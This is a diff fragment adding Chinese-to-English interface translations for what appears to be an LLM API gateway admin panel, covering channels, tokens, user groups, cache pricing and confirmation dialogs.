+    "流状态": "Stream Status",
+    "流量端口": "Traffic Port",
+    "流错误详情": "Stream Error Details",
+    "浅色": "Light",
+    "浅色模式": "Light Mode",
+    "测活": "Health Check",
+    "测试": "Test",
+    "测试中": "Testing",
+    "测试中...": "Testing...",
+    "测试单个渠道操作项目组": "Test a single channel operation project group",
+    "测试失败": "Test failed",
+    "测试失败：": "Test failed: ",
+    "测试所有未手动禁用渠道": "Test all channels except manually disabled ones",
+    "测试所有渠道的最长响应时间": "Maximum response time for testing all channels",
+    "测试所有通道": "Test all channels",
+    "测试模式": "Test Mode",
+    "测试连接": "Test Connection",
+    "测速": "Speed Test",
+    "消息优先级": "Message priority",
+    "消息优先级，范围0-10，默认为5": "Message priority, range 0-10, default is 5",
+    "消息已删除": "Message deleted",
+    "消息已复制到剪贴板": "Message copied to clipboard",
+    "消息已更新": "Message updated",
+    "消息已编辑": "Message edited",
+    "消耗分布": "Consumption distribution",
+    "消耗趋势": "Consumption trend",
+    "消耗额度": "Used Quota",
+    "消费": "Consume",
+    "深色": "Dark",
+    "深色模式": "Dark Mode",
+    "添加": "Add",
+    "添加 (+:)": "Add (+:)",
+    "添加 OAuth 提供商": "Add OAuth Provider",
+    "添加API": "Add API",
+    "添加产品": "Add Product",
+    "添加令牌": "Create token",
+    "添加兑换码": "Add redemption code",
+    "添加公告": "Add Notice",
+    "添加分类": "Add Category",
+    "添加分组": "Add Group",
+    "添加分组规则": "Add Group Rules",
+    "添加后提交": "Submit after adding",
+    "添加启动参数": "Add Startup Args",
+    "添加启动命令": "Add Startup Command",
+    "添加密钥环境变量": "Add Secret Environment Variable",
+    "添加成功": "Added successfully",
+    "添加提供商": "Add Provider",
+    "添加模型": "Add model",
+    "添加模型区域": "Add model region",
+    "添加渠道": "Add channel",
+    "添加环境变量": "Add Environment Variable",
+    "添加用户": "Add user",
+    "添加聊天配置": "Add chat configuration",
+    "添加规则": "Add Rule",
+    "添加键值对": "Add key-value pair",
+    "添加问答": "Add FAQ",
+    "添加额度": "Add quota",
+    "清理不活跃缓存": "Clean up inactive cache",
+    "清理失败": "Cleanup failed",
+    "清理方式": "Cleanup Mode",
+    "清理日志文件": "Clean Up Log Files",
+    "清空": "Clear",
+    "清空全部缓存": "Clear All Cache",
+    "清空该规则缓存": "Clear This Rule's Cache",
+    "清空重定向": "Clear redirect",
+    "清除": "",
+    "清除历史日志": "Clear historical logs",
+    "清除失效兑换码": "Clear invalid redemption codes",
+    "清除所有模型": "Clear all models",
+    "渠道": "Channel",
+    "渠道 ID": "Channel ID",
+    "渠道ID，名称，密钥，API地址": "Channel ID, name, key, Base URL",
+    "渠道亲和性": "Channel affinity",
+    "渠道亲和性：上游缓存命中": "Channel Affinity: Upstream Cache Hit",
+    "渠道亲和性会基于从请求上下文或 JSON Body 提取的 Key，优先复用上一次成功的渠道。": "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.",
+    "渠道优先级": "Channel Priority",
+    "渠道信息": "Channel information",
+    "渠道创建成功！": "Channel created successfully!",
+    "渠道复制失败": "Channel copy failed",
+    "渠道复制失败: ": "Channel copy failed:",
+    "渠道复制成功": "Channel copy successful",
+    "渠道密钥": "Channel key",
+    "渠道密钥信息": "Channel key information",
+    "渠道密钥列表": "Channel key list",
+    "渠道更新成功！": "Channel updated successfully!",
+    "渠道权重": "Channel Weight",
+    "渠道标签": "Channel Tag",
+    "渠道模型信息不完整": "Channel model information is incomplete",
+    "渠道的基本配置信息": "Channel basic configuration information",
+    "渠道的模型测试": "Channel Model Test",
+    "渠道的高级配置选项": "Advanced channel configuration options",
+    "渠道管理": "Channel Management",
+    "渠道行为": "Channel Behavior",
+    "渠道额外设置": "Channel extra settings",
+    "源地址": "Source address",
+    "满足任一条件（OR）": "Match any condition (OR)",
+    "演示站点": "Demo Site",
+    "演示站点模式": "Demo site mode",
+    "点击 + 按钮添加图片URL进行多模态对话": "Click the + button to add image URLs for multimodal conversation",
+    "点击\"确认延长\"后将立即扣除费用并延长容器运行时间": "After clicking \"Confirm Extension\", the fee will be deducted immediately and the container runtime will be extended",
+    "点击上传文件或拖拽文件到这里": "Click to upload file or drag and drop file here",
+    "点击下方按钮通过 Telegram 完成绑定": "Click the button below to complete binding via Telegram",
+    "点击处理删除模型": "",
+    "点击处理新增模型": "",
+    "点击复制ID": "Click to copy ID",
+    "点击复制模型名称": "Click to copy model name",
+    "点击查看差异": "Click to view differences",
+    "点击此处": "click here",
+    "点击预览视频": "Click to preview video",
+    "点击预览音乐": "Click to preview music",
+    "点击验证按钮，使用您的生物特征或安全密钥": "Click the verification button and use your biometrics or security key",
+    "版权所有": "All rights reserved",
+    "特殊倍率": "Special Ratios",
+    "特殊可用分组规则": "Special Usable Group Rules",
+    "状态": "Status",
+    "状态码": "Status Code",
+    "状态码复写": "Status Code Override",
+    "状态码复写包含无效的状态码": "Status code override contains invalid status codes",
+    "状态筛选": "Status filter",
+    "状态页面Slug": "Status Page Slug",
+    "环境变量": "Environment Variables",
+    "生产环境 RSA 私钥 Base64 (PKCS#8 DER)": "Production RSA private key Base64 (PKCS#8 DER)",
+    "生产环境 Waffo API 密钥": "",
+    "生产环境 Waffo 公钥 Base64 (X.509 DER)": "Production Waffo public key Base64 (X.509 DER)",
+    "生成令牌": "Generate Token",
+    "生成并填入": "Generate and Fill",
+    "生成数量": "Generate quantity",
+    "生成数量必须大于0": "Generation quantity must be greater than 0",
+    "生成新的备用码": "Generate new backup codes",
+    "生成歌词": "Generate lyrics",
+    "生成音乐": "generate music",
+    "生效": "Active",
+    "用于API调用的身份验证令牌，请妥善保管": "Authentication token for API calls, please keep it safe",
+    "用于唯一标识用户的字段路径": "Field path for uniquely identifying users",
+    "用于配置网络代理，支持 socks5 协议": "Used to configure network proxy, supports socks5 protocol",
+    "用于验证回调 new-api 的 webhook 请求的密钥，敏感信息不显示": "The key used to validate webhook requests for the callback new-api, sensitive information is not displayed.",
+    "用以支持基于 WebAuthn 的无密码登录注册": "Support WebAuthn-based passwordless login and registration",
+    "用以支持用户校验": "To support user verification",
+    "用以支持系统的邮件发送": "To support the system email sending",
+    "用以支持通过 Discord 进行登录注册": "Used to support login & registration through Discord",
+    "用以支持通过 GitHub 进行登录注册": "To support login & registration via GitHub",
+    "用以支持通过 Linux DO 进行登录注册": "To support login & registration via Linux DO",
+    "用以支持通过 OIDC 登录，例如 Okta、Auth0 等兼容 OIDC 协议的 IdP": "To support login via OIDC, such as Okta, Auth0 and other IdPs compatible with OIDC protocol",
+    "用以支持通过 Telegram 进行登录注册": "To support login & registration via Telegram",
+    "用以支持通过微信进行登录注册": "To support login & registration via WeChat",
+    "用以防止恶意用户利用临时邮箱批量注册": "To prevent malicious users from bulk registration using temporary email addresses",
+    "用户": "User",
+    "用户 ID 字段": "User ID Field",
+    "用户 ID 字段（可选）": "User ID Field (optional)",
+    "用户个人功能": "User personal functions",
+    "用户主页，展示系统信息": "User homepage, displaying system information",
+    "用户优先：如果用户在请求中指定了系统提示词，将优先使用用户的设置": "User priority: If the user specifies a system prompt in the request, the user's setting will be used first",
+    "用户信息": "User information",
+    "用户信息更新成功！": "User information updated successfully!",
+    "用户信息端点": "User Info Endpoint",
+    "用户信息缺失": "User information missing",
+    "用户最大令牌数量": "Maximum Tokens per User",
+    "用户分组": "User Group",
+    "用户分组和额度管理": "User Group and Quota Management",
+    "用户分组的联动作用": "How user group affects other features",
+    "用户分组配置": "User group configuration",
+    "用户创建令牌 → 选择分组下拉框：": "User creates token → group dropdown:",
+    "用户创建令牌时选择的分组，决定该令牌的实际计费倍率。一个用户可以创建多个令牌，使用不同分组。": "The group selected when creating a token determines its billing ratio. A user can create multiple tokens using different groups.",
+    "用户协议": "User Agreement",
+    "用户协议已更新": "User agreement updated",
+    "用户协议更新失败": "User agreement update failed",
+    "用户可选": "User Selectable",
+    "用户可选分组": "User selectable groups",
+    "用户可选分组的名称和描述（只包含勾选了用户可选的分组）": "Names and descriptions of user-selectable groups (only includes checked groups)",
+    "用户名": "Username",
+    "用户名字段": "Username Field",
+    "用户名字段（可选）": "Username Field (optional)",
+    "用户名或邮箱": "Username or email",
+    "用户名称": "User Name",
+    "用户在充值页面看到的支付方式名称，例如：Credit Card": "",
+    "用户控制面板，管理账户": "User control panel for account management",
+    "用户新建令牌时可选的分组，格式为 JSON 字符串，例如：{\"vip\": \"VIP 用户\", \"test\": \"测试\"}，表示用户可以选择 vip 分组和 test 分组": "User selectable groups when creating tokens, in JSON string format, for example: {\"vip\": \"VIP User\", \"test\": \"Test\"}, indicating that users can choose vip group and test group",
+    "用户每周期最多请求完成次数": "User max successful request times per period",
+    "用户每周期最多请求次数": "User max request times per period",
+    "用户注册时看到的网站名称，比如'我的网站'": "Website name users see during registration, e.g. 'My Website'",
+    "用户消耗排行": "User consumption ranking",
+    "用户消耗趋势": "User consumption trend",
+    "用户的基本账户信息": "User basic account information",
+    "用户管理": "User Management",
+    "用户组": "User group",
+    "用户订阅管理": "User Subscription Management",
+    "用户账户创建成功！": "User account created successfully!",
+    "用户账户管理": "User account management",
+    "用时/首字": "Time/first word",
+    "由全站货币展示设置统一控制": "Controlled by the site-wide currency display settings",
+    "由管理员分配，决定用户身份等级（如 default、vip）。": "Assigned by admin, determines user tier (e.g., default, vip).",
+    "由订阅抵扣": "Deducted by subscription",
+    "界面语言和其他个人偏好": "Interface language and other personal preferences",
+    "留空使用系统临时目录": "Leave empty to use system temp directory",
+    "留空则使用账号绑定的邮箱": "If left blank, the email address bound to the account will be used",
+    "留空则使用默认端点；支持 {path, method}": "Leave blank to use the default endpoint; supports {path, method}",
+    "留空则保持原有密钥": "Leave empty to keep existing key",
+    "留空则自动使用 服务器地址 + /api/waffo/webhook": "",
+    "留空则默认使用服务器地址，注意不能携带http://或者https://": "If left blank, the server address will be used by default. Note that http:// or https:// should not be included",
+    "登 录": "Log In",
+    "登录": "Sign in",
+    "登录成功！": "Login successful!",
+    "登录过期，请重新登录！": "Login expired, please log in again!",
+    "白名单": "Whitelist",
+    "的前提下使用。": "for use under the following conditions:",
+    "监控设置": "Monitoring Settings",
+    "目录总大小": "Directory Total Size",
+    "目录文件数": "Directory File Count",
+    "目标分组": "Target Group",
+    "目标用户：{{username}}": "Target user: {{username}}",
+    "目标端点": "Target Endpoint",
+    "目标路径（可选）": "Target Path (optional)",
+    "直接提交": "Submit directly",
+    "直接编辑 JSON 文本，保存时会校验格式。": "Edit JSON text directly; format will be validated on save.",
+    "直接追加（和添加类似，但无前缀）": "Directly append (similar to Add, but without prefix)",
+    "相关项目": "Related Projects",
+    "相当于删除用户，此修改将不可逆": "Equivalent to deleting the user, this modification is irreversible",
+    "矛盾": "Conflict",
+    "知识库 ID": "Knowledge Base ID",
+    "硬件": "Hardware",
+    "硬件与性能": "Hardware & Performance",
+    "硬件类型": "Hardware Type",
+    "硬件配置": "Hardware Configuration",
+    "确定": "OK",
+    "确定？": "Sure?",
+    "确定删除此组？": "Confirm delete this group?",
+    "确定导入": "Confirm import",
+    "确定是否要修复数据库一致性？": "Are you sure you want to repair database consistency?",
+    "确定是否要删除所选通道？": "Are you sure you want to delete the selected channels?",
+    "确定是否要删除此令牌？": "Are you sure you want to delete this token?",
+    "确定是否要删除此兑换码？": "Are you sure you want to delete this redemption code?",
+    "确定是否要删除此模型？": "Are you sure you want to delete this model?",
+    "确定是否要删除此渠道？": "Are you sure you want to delete this channel?",
+    "确定是否要删除禁用通道？": "Are you sure you want to delete the disabled channel?",
+    "确定是否要复制此渠道？": "Are you sure you want to copy this channel?",
+    "确定是否要注销此用户？": "Are you sure you want to deactivate this user?",
+    "确定清除所有失效兑换码？": "Are you sure you want to clear all invalid redemption codes?",
+    "确定要仅检测全部渠道上游模型更新吗？（不执行新增/删除）": "",
+    "确定要修改所有子渠道优先级为 ": "Confirm to modify all sub-channel priorities to ",
+    "确定要修改所有子渠道权重为 ": "Confirm to modify all sub-channel weights to ",
+    "确定要充值 $": "Confirm to recharge $",
+    "确定要删除供应商 \"{{name}}\" 吗？此操作不可撤销。": "Are you sure you want to delete supplier \"{{name}}\"? This operation is irreversible.",
+    "确定要删除所有已自动禁用的密钥吗？": "Are you sure you want to delete all automatically disabled keys?",
+    "确定要删除所选的 {{count}} 个令牌吗？_one": "Are you sure you want to delete the selected {{count}} token?",
+    "确定要删除所选的 {{count}} 个令牌吗？_other": "Are you sure you want to delete the selected {{count}} tokens?",
+    "确定要删除所选的 {{count}} 个模型吗？_one": "Are you sure you want to delete the selected {{count}} model?",
+    "确定要删除所选的 {{count}} 个模型吗？_other": "Are you sure you want to delete the selected {{count}} models?",
+    "确定要删除此 OAuth 提供商吗？": "Are you sure you want to delete this OAuth provider?",
+    "确定要删除此API信息吗？": "Are you sure you want to delete this API information?",
+    "确定要删除此公告吗？": "Are you sure you want to delete this notice?",
+    "确定要删除此分类吗？": "Are you sure you want to delete this category?",
+    "确定要删除此密钥吗？": "Are you sure you want to delete this key?",
+    "确定要删除此问答吗？": "Are you sure you want to delete this FAQ?",
+    "确定要删除该提供商吗？": "Are you sure you want to delete this provider?",
+    "确定要删除这条消息吗？": "Are you sure you want to delete this message?",
+    "确定要删除选中的": "Are you sure you want to delete the selected",
+    "确定要启用所有密钥吗？": "Are you sure you want to enable all keys?",
+    "确定要启用此用户吗？": "Are you sure you want to enable this user?",
+    "确定要对全部渠道执行上游模型更新吗？": "",
+    "确定要提升此用户吗？": "Are you sure you want to promote this user?",
+    "确定要更新所有已启用通道余额吗？": "Are you sure you want to update the balance of all enabled channels?",
+    "确定要测试所有未手动禁用渠道吗？": "Are you sure you want to test all channels except manually disabled ones?",
+    "确定要测试所有通道吗？": "Are you sure you want to test all channels?",
+    "确定要禁用所有的密钥吗？": "Are you sure you want to disable all keys?",
+    "确定要禁用此用户吗？": "Are you sure you want to disable this user?",
+    "确定要解绑 {{name}} 吗？": "Are you sure you want to unbind {{name}}?",
+    "确定要降级此用户吗？": "Are you sure you want to demote this user?",
+    "确定重置": "Confirm reset",
+    "确定重置模型倍率吗？": "Confirm to reset model ratio?",
+    "确认": "Confirm",
+    "确认作废": "Confirm invalidation",
+    "确认关闭提示": "Confirm close",
+    "确认冲突项修改": "Confirm conflict item modification",
+    "确认删除": "Confirm deletion",
+    "确认删除模型": "Confirm Delete Model",
+    "确认删除该分组？": "Confirm delete this group?",
+    "确认删除该分组的所有规则？": "Delete all rules for this group?",
+    "确认删除该规则？": "Confirm delete this rule?",
+    "确认取消密码登录": "Confirm cancel password login",
+    "确认启用": "Confirm Enable",
+    "确认密码": "Confirm Password",
+    "确认导入配置": "Confirm import configuration",
+    "确认延长": "Confirm Extension",
+    "确认延长容器时长": "Confirm Container Duration Extension",
+    "确认操作": "Confirm Operation",
+    "确认新密码": "Confirm new password",
+    "确认清理不活跃的磁盘缓存？": "Confirm cleanup of inactive disk cache?",
+    "确认清理日志文件？": "Confirm log file cleanup?",
+    "确认清空全部渠道亲和性缓存": "Confirm clearing all channel affinity cache",
+    "确认清空该规则缓存": "Confirm clearing this rule's cache",
+    "确认清除历史日志": "Confirm clear historical logs",
+    "确认禁用": "Confirm disable",
+    "确认移除？": "Confirm remove?",
+    "确认补单": "Confirm Order Completion",
+    "确认解绑": "Confirm Unbind",
+    "确认解绑 Passkey": "Confirm Unbind Passkey",
+    "确认设置并完成初始化": "Confirm settings and complete initialization",
+    "确认重置 Passkey": "Confirm Passkey Reset",
+    "确认重置两步验证": "Confirm Two-Factor Reset",
+    "确认重置密码": "Confirm Password Reset",
+    "磁盘 阈值 (%)": "Disk Threshold (%)",
+    "磁盘使用率超过此值时拒绝请求": "Reject requests when disk usage exceeds this value",
+    "磁盘可用空间小于缓存最大总量设置": "Disk free space is less than max cache size setting",
+    "磁盘命中": "Disk Hits",
+    "磁盘缓存最大总量 (MB)": "Max Disk Cache Size (MB)",
+    "磁盘缓存占用的最大空间": "Maximum space occupied by disk cache",
+    "磁盘缓存已清理": "Disk cache cleared",
+    "磁盘缓存设置（磁盘换内存）": "Disk Cache Settings (Disk Swap Memory)",
+    "磁盘缓存阈值 (MB)": "Disk Cache Threshold (MB)",
+    "示例": "Example",
+    "示例：{\"default\": [200, 100], \"vip\": [0, 1000]}。": "Example: {\"default\": [200, 100], \"vip\": [0, 1000]}.",
+    "视频": "Video",
+    "视频Remix": "Video remix",
+    "视频无法在当前浏览器中播放，这可能是由于：": "The video cannot be played in this browser, possibly because:",
+    "禁用": "Disable",
+    "禁用 store 透传": "Disable store Pass-through",
+    "禁用2FA失败": "Failed to disable Two-Factor Authentication",
+    "禁用两步验证": "Disable two-factor authentication",
+    "禁用全部": "Disable all",
+    "禁用原因": "Disable reason",
+    "禁用后用户端不再展示，但历史订单不受影响。是否继续？": "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?",
+    "禁用后的影响：": "Impact after disabling:",
+    "禁用密钥失败": "Failed to disable key",
+    "禁用思考处理的模型列表": "Models skipping thinking handling",
+    "禁用所有密钥失败": "Failed to disable all keys",
+    "禁用时间": "Disable time",
+    "私有IP访问详细说明": "⚠️ Security Warning: Enabling this allows access to internal network resources (localhost, private networks). Only enable if you need to access internal services and understand the security implications.",
+    "私有部署地址": "Private Deployment Address",
+    "私有镜像仓库的密码": "Password for private image registry",
+    "私有镜像仓库的用户名": "Username for private image registry",
+    "秒": "Second",
+    "移动": "",
+    "移动请求头": "",
+    "移除": "Remove",
+    "移除 (-:)": "Remove (-:)",
+    "移除 functionResponse.id 字段": "Remove functionResponse.id Field",
+    "移除 One API 的版权标识必须首先获得授权，项目维护需要花费大量精力，如果本项目对你有意义，请主动支持本项目": "Removal of One API copyright mark must first be authorized. Project maintenance requires a lot of effort. If this project is meaningful to you, please actively support it.",
+    "空": "Empty",
+    "窗口处理": "window handling",
+    "窗口等待": "window wait",
+    "立即签到": "Check in now",
+    "立即订阅": "Subscribe now",
+    "站点所有额度将以原始 Token 数显示，不做货币换算": "All site quotas will be displayed as raw token counts without currency conversion",
+    "站点所有额度将以美元 ($) 显示": "All site quotas will be displayed in USD ($)",
+    "站点所有额度将按汇率换算为人民币 (¥) 显示": "All site quotas will be converted to CNY (¥) using the exchange rate",
+    "站点所有额度将按汇率换算为自定义货币显示": "All site quotas will be converted to custom currency using the exchange rate",
+    "站点额度展示类型及汇率": "Site quota display type and exchange rate",
+    "端口号必须在1-65535之间": "Port number must be between 1-65535",
+    "端口配置详细说明": "Restrict external requests to specific ports. Use single ports (80, 443) or ranges (8000-8999). Empty list allows all ports. Default includes common web ports.",
+    "端点": "Endpoint",
+    "端点 URL 必须以 http:// 或 https:// 开头：": "Endpoint URL must start with http:// or https://: ",
+    "端点 URL 必须是完整地址（以 http:// 或 https:// 开头）": "Endpoint URL must be a full address (starting with http:// or https://)",
+    "端点映射": "Endpoint mapping",
+    "端点类型": "Endpoint type",
+    "端点组": "Endpoint group",
+    "第 {{line}} 条 prune_objects 缺少条件": "Rule #{{line}} prune_objects is missing conditions",
+    "第 {{line}} 条 prune_objects 需要至少一个匹配条件": "Rule #{{line}} prune_objects requires at least one match condition",
+    "第 {{line}} 条 return_error 需要 message 字段": "Rule #{{line}} return_error requires a message field",
+    "第 {{line}} 条操作缺少值": "Rule #{{line}} operation is missing a value",
+    "第 {{line}} 条操作缺少来源字段": "Rule #{{line}} operation is missing a source field",
+    "第 {{line}} 条操作缺少目标字段": "Rule #{{line}} operation is missing a target field",
+    "第 {{line}} 条操作缺少目标路径": "Rule #{{line}} operation is missing a target path",
+    "第 {{line}} 条请求头透传格式无效": "Rule #{{line}} header pass-through format is invalid",
+    "第 {{line}} 条请求头透传缺少请求头名称": "Rule #{{line}} header pass-through is missing header name",
+    "第三方支付配置": "Third-party Payment Configuration",
+    "第三方账户绑定状态（只读）": "Third-party account binding status (read-only)",
+    "等价金额：": "Equivalent Amount: ",
+    "等待中": "Waiting",
+    "等待获取邮箱信息...": "Waiting to get email information...",
+    "筛选": "Filter",
+    "签到最大额度": "Maximum check-in quota",
+    "签到最小额度": "Minimum check-in quota",
+    "签到功能允许用户每日签到获取随机额度奖励": "Check-in feature allows users to check in daily to receive random quota rewards",
+    "签到失败": "Check-in failed",
+    "签到奖励将直接添加到您的账户余额": "Check-in rewards will be directly added to your account balance",
+    "签到奖励的最大额度": "Maximum quota for check-in rewards",
+    "签到奖励的最小额度": "Minimum quota for check-in rewards",
+    "签到成功！获得": "Check-in successful! Received",
+    "签到设置": "Check-in Settings",
+    "简单来说：同一个令牌分组，不同等级的用户可以享受不同的价格。": "In short: same token group, different user tiers can enjoy different prices.",
+    "简洁": "Simple",
+    "简洁模式：按 type 全量清理对象，例如 redacted_thinking。": "Simple mode: Prune all objects by type, e.g. redacted_thinking.",
+    "简洁模式仅返回 message；状态码和错误类型将使用系统默认值。": "Simple mode returns message only; status code and error type will use system defaults.",
+    "管理": "Manage",
+    "管理 Ollama 模型的拉取和删除": "Manage Ollama model pulling and deletion",
+    "管理你的 LinuxDO OAuth App": "Manage your LinuxDO OAuth App",
+    "管理员": "Admin",
+    "管理员分配的优惠分组": "Admin-assigned discount group",
+    "管理员分配的基础分组": "Admin-assigned base group",
+    "管理员区域": "Administrator Area",
+    "管理员暂时未设置任何关于内容": "The administrator has not set any custom About content yet",
+    "管理员未开启 Creem 充值！": "The administrator has not enabled Creem recharge!",
+    "管理员未开启Stripe充值！": "Administrator has not enabled Stripe recharge!",
+    "管理员未开启在线充值！": "The administrator has not enabled online recharge!",
+    "管理员未开启在线充值功能，请联系管理员开启或使用兑换码充值。": "The administrator has not enabled the online recharge function, please contact the administrator to enable it or recharge with a redemption code.",
+    "管理员未开启在线支付功能，请联系管理员配置。": "Online payment is not enabled by the admin. Please contact the administrator.",
+    "管理员未设置用户可选分组": "Administrator has not set user-selectable groups",
+    "管理员给用户分配的分组（如 vip）不仅决定用户身份，还会影响后续两个功能：": "The group assigned to a user (e.g., vip) not only determines their identity, but also affects the following two features:",
+    "管理员设置了外部链接，点击下方按钮访问": "Administrator has set up external links, click the button below to access",
+    "管理员账号": "Admin account",
+    "管理员账号已经初始化过，请继续设置其他参数": "The admin account has already been initialized, please continue to set other parameters",
+    "管理服务器运行日志文件。日志文件会随运行时间不断累积，建议定期清理以释放磁盘空间。": "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.",
+    "管理模型、标签、端点等预填组": "Manage model, tag, endpoint, etc. pre-filled groups",
+    "管理用户已绑定的第三方账户，支持筛选与解绑": "Manage users' linked third-party accounts, with filtering and unbinding support",
+    "管理绑定": "Manage Bindings",
+    "类型": "Type",
+    "类型（常用）": "Type (Common)",
+    "粘贴图片失败": "Failed to paste image",
+    "精确": "Exact",
+    "系统": "System",
+    "系统令牌已复制到剪切板": "System token copied to clipboard",
+    "系统任务记录": "System task records",
+    "系统信息": "System Information",
+    "系统公告": "System Notice",
+    "系统公告管理，可以发布系统通知和重要消息（最多100个，前端显示最新20条）": "System notice management, you can publish system notices and important messages (maximum 100, display latest 20 on the front end)",
+    "系统内存": "System Memory",
+    "系统内部以美元 (USD) 为基准计价。用户余额、充值金额、模型定价、用量日志等所有金额显示均按此汇率换算为人民币，不影响内部计费": "The system uses USD as the base pricing unit. User balance, top-up amounts, model pricing, usage logs — all displayed amounts will be converted to CNY at this rate. Internal billing is not affected.",
+    "系统内部以美元 (USD) 为基准计价。用户余额、充值金额、模型定价、用量日志等所有金额显示均按此汇率换算为自定义货币，不影响内部计费": "The system uses USD as the base pricing unit. User balance, top-up amounts, model pricing, usage logs — all displayed amounts will be converted to custom currency at this rate. Internal billing is not affected.",
+    "系统内部计费精度，默认 500000，修改可能导致计费异常，请谨慎操作": "Internal billing precision, default 500000. Changing this may cause billing anomalies — proceed with caution.",
+    "系统初始化": "System initialization",
+    "系统初始化失败，请重试": "System initialization failed, please try again",
+    "系统初始化成功，正在跳转...": "System initialization successful, redirecting...",
+    "系统参数配置": "System parameter configuration",
+    "系统名称": "System Name",
+    "系统名称已更新": "System name updated",
+    "系统名称更新失败": "System name update failed",
+    "系统已为该部署准备 Ollama 镜像与随机 API Key": "System has prepared Ollama image and random API Key for this deployment",
+    "系统性能监控": "System Performance Monitoring",
+    "系统提示覆盖": "System prompt override",
+    "系统提示词": "System Prompt",
+    "系统提示词拼接": "System prompt append",
+    "系统数据统计": "System data statistics",
+    "系统文档和帮助信息": "System documentation and help information",
+    "系统消息": "System message",
+    "系统版本": "System Version",
+    "系统管理功能": "System management functions",
+    "系统设置": "System",
+    "系统访问令牌": "System Access Token",
+    "约": "Approximately",
+    "索引": "Index",
+    "紧凑列表": "Compact list",
+    "纯字符串会直接覆盖整条请求头，或者点击“查看 JSON 示例”按 token 规则处理。": "",
+    "累计签到": "Total check-ins",
+    "累计获得": "Total received",
+    "线路描述": "Route description",
+    "组列表": "Group list",
+    "组名": "Group name",
+    "组织": "Organization",
+    "组织，不填则为默认组织": "Organization, default if empty",
+    "终止中": "Terminating",
+    "终止请求中": "Terminating request",
+    "绑定": "Bind",
+    "绑定 Telegram": "Bind Telegram",
+    "绑定信息": "Binding Information",
+    "绑定后会立即生成用户订阅（无需支付），有效期按套餐配置计算。": "After binding, a user subscription is created immediately (no payment required); validity follows the plan configuration.",
+    "绑定微信账户": "Bind WeChat Account",
+    "绑定成功！": "Binding successful!",
+    "绑定订阅套餐": "Bind Subscription Plan",
+    "绑定邮箱地址": "Bind Email Address",
+    "结束": "End",
+    "结束时间": "End Time",
+    "结果图片": "Result",
+    "结算差额": "Settlement Difference",
+    "绘图": "Drawing",
+    "绘图任务记录": "Drawing task records",
+    "绘图日志": "Drawing Logs",
+    "绘图设置": "Drawing",
+    "统一的": "The Unified",
+    "统计Tokens": "Statistical Tokens",
+    "统计已重置": "Statistics reset",
+    "统计次数": "Statistical count",
+    "统计额度": "Statistical quota",
+    "继续": "Continue",
+    "缓存 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Cache {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "缓存 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "Cache {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "缓存 Tokens": "Cache Tokens",
+    "缓存: {{cacheRatio}}": "Cache: {{cacheRatio}}",
+    "缓存价格：{{symbol}}{{price}} * {{cacheRatio}} = {{symbol}}{{total}} / 1M tokens (缓存倍率: {{cacheRatio}})": "Cache price: {{symbol}}{{price}} * {{cacheRatio}} = {{symbol}}{{total}} / 1M tokens (Cache ratio: {{cacheRatio}})",
+    "缓存价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (缓存倍率: {{cacheRatio}})": "Cache price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (Cache ratio: {{cacheRatio}})",
+    "缓存倍率": "Cache ratio",
+    "缓存倍率 {{cacheRatio}}": "Cache ratio {{cacheRatio}}",
+    "缓存写": "Cache Write",
+    "缓存创建 {{price}} / 1M tokens": "Cache creation {{price}} / 1M tokens",
+    "缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "Cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "缓存创建 Tokens": "Cache Creation Tokens",
+    "缓存创建: {{cacheCreationRatio}}": "Cache creation: {{cacheCreationRatio}}",
+    "缓存创建: 1h {{cacheCreationRatio1h}}": "Cache creation: 1h {{cacheCreationRatio1h}}",
+    "缓存创建: 5m {{cacheCreationRatio5m}}": "Cache creation: 5m {{cacheCreationRatio5m}}",
+    "缓存创建: 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}": "Cache creation: 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}",
+    "缓存创建：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 缓存创建倍率 {{cacheCreationRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Cache creation: {{tokens}} / 1M * model ratio {{modelRatio}} * cache creation ratio {{cacheCreationRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "缓存创建价格": "Input Cache Creation Price",
+    "缓存创建价格 {{symbol}}{{price}} / 1M tokens": "Cache creation price {{symbol}}{{price}} / 1M tokens",
+    "缓存创建价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (缓存创建倍率: {{cacheCreationRatio}})": "Cache creation price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (Cache creation ratio: {{cacheCreationRatio}})",
+    "缓存创建价格：{{symbol}}{{price}} / 1M tokens": "Cache creation price: {{symbol}}{{price}} / 1M tokens",
+    "缓存创建价格合计：5m {{symbol}}{{five}} + 1h {{symbol}}{{one}} = {{symbol}}{{total}} / 1M tokens": "Cache creation price total: 5m {{symbol}}{{five}} + 1h {{symbol}}{{one}} = {{symbol}}{{total}} / 1M tokens",
+    "缓存创建倍率": "Cache creation ratio",
+    "缓存创建倍率 {{cacheCreationRatio}}": "Cache creation ratio {{cacheCreationRatio}}",
+    "缓存创建倍率 1h {{cacheCreationRatio1h}}": "Cache creation multiplier 1h {{cacheCreationRatio1h}}",
+    "缓存创建倍率 5m {{cacheCreationRatio5m}}": "Cache creation multiplier 5m {{cacheCreationRatio5m}}",
+    "缓存创建倍率 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}": "Cache creation ratio 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}",
+    "缓存条目数": "Cache Entries",
+    "缓存目录": "Cache Directory",
